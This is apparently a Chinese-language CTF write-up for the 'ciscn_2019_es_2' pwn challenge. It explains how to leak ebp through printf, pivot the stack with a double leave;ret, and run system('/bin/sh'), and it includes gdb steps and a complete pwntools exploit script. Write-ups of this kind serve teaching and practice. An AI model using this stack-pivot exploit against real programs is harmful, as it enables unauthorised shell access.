一。思路
栈溢出,但是溢出的空间不足 ,
扩大shellcode的容纳空间,其核心是将esp移动到一段shellocode开头。
而esp总是由ebp赋值,所以总是通过两次leave;ret的方式修改esp到固定位置
二 过程
0x30字节数据给s,s大小是0x28,只能溢出0x8字节,刚好覆写ebp和ret。没法构造太长的rop,
但是给s写入2次数据,
可以将rop链写到栈上,再将栈劫持到我们写的地方就可以了。
泄露出来一个地址,然后计算偏移来确认我们需要劫持的地址。
一次是函数结束时自己调用的,leave指令目的是改变ebp的值(ebp给esp赋值)
一次是我们设置的返回地址,目的是ret指令,执行我们劫持到的地址
第一次输入来泄露程序里的ebp地址,知道了ebp的地址就能够推算出参数s在栈上的地址。
第二次直接往栈上写入后门 函数 system(‘/bin/sh’),之后利用leave;
ret的栈劫持去到参数s的栈,让它去执行我们布置在栈上的system(‘/bin/sh’)来获取shell
1.printf函数在输出的时候遇到’\0‘会停止,
如果我们输入的内容正好把ebp前面的区域完全覆盖,这样就没法在末尾补上’\0‘,
printf就会顺便把ebp带出来。
gdb 文件名
start
下断点b *0x080485FC
run
看栈 stack 30
from pwn import *
r = process("./ciscn_2019_es_2")
#r=remote('node3.buuoj.cn',28967)
sys=0x8048400
leave_ret=0x08048562
main=0xdeadbeef
#①所以第一次read输入是为了泄露ebp
payload='a'*0x27+'b'
r.send(payload)
r.recvuntil("b")
s=ebp=u32(r.recv(4))-0x38
#②第二次read则是为了在栈上填充信息,修改ebp和ret后esp将迁移
payload2='aaaa'+p32(sys)+p32(main)+p32(s+0x10)+"/bin/sh"
payload2=payload2.ljust(0x28,'\x00')
#将参数0x28长的s补齐
payload2+=p32(s)+p32(leave_ret)
#栈劫持,获取shell
r.send(payload2)
r.interactive()